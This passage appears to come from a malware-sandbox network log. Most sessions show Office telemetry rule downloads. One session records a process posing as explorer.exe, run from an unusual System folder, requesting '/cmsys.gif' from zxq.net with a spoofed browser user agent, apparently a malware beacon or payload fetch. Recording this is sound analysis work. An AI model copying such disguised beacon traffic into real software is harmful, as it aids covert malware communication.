60	192.168.2.4	64627	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e9bc8845-c01e-008d-06d9-1a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-1597f6968445mkrl9xam3u5yc000000001hg00000000krbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:39 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	64628	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:39 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 5aec4ebb-b01e-0002-57ca-1a1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081339Z-1597f69684468djc7awy41e1mc00000001t00000000053ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	64629	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:40 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:40 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:40 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	64630	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: df5113df-601e-0050-0cfd-192c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081340Z-1597f696844vzfmb9nc7adr3a800000001h000000000kd4w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:40 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	64632	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: fee23d9a-301e-0096-1cf8-19e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081340Z-1597f696844bmdq5zn58gkna6s00000001xg000000004qtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:40 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	64631	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 4e00ab95-601e-000d-7029-1a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081340Z-1597f696844hpm8qn8665b0upn00000000kg00000000faxv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	64633	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:40 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: c54fbac1-901e-008f-588c-1567a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081340Z-r154656d9bcgk58qzsfr5pfzg40000000wbg000000006zbu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	64634	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 36e96f63-f01e-0052-37d9-1a9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081340Z-1597f696844s4pmvsps8m6v26n00000001p0000000004dpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	64635	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:41 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 76252b1b-c01e-0066-488c-15a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081341Z-r154656d9bc7mtk716cm75thbs0000000w1000000000ckaf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	64636	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:41 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 75229bd8-101e-000b-4f46-1a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081341Z-1597f696844pvxrzyftm324kmw00000001v0000000000e70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	64637	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:41 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 24993946-c01e-008e-55d7-1a7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081341Z-r154656d9bcpnqc46yk454phh8000000081g000000003cmg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	64638	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 54db7b24-c01e-0079-66f9-19e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081341Z-1597f6968445mkrl9xam3u5yc000000001q0000000006wuk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	64639	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
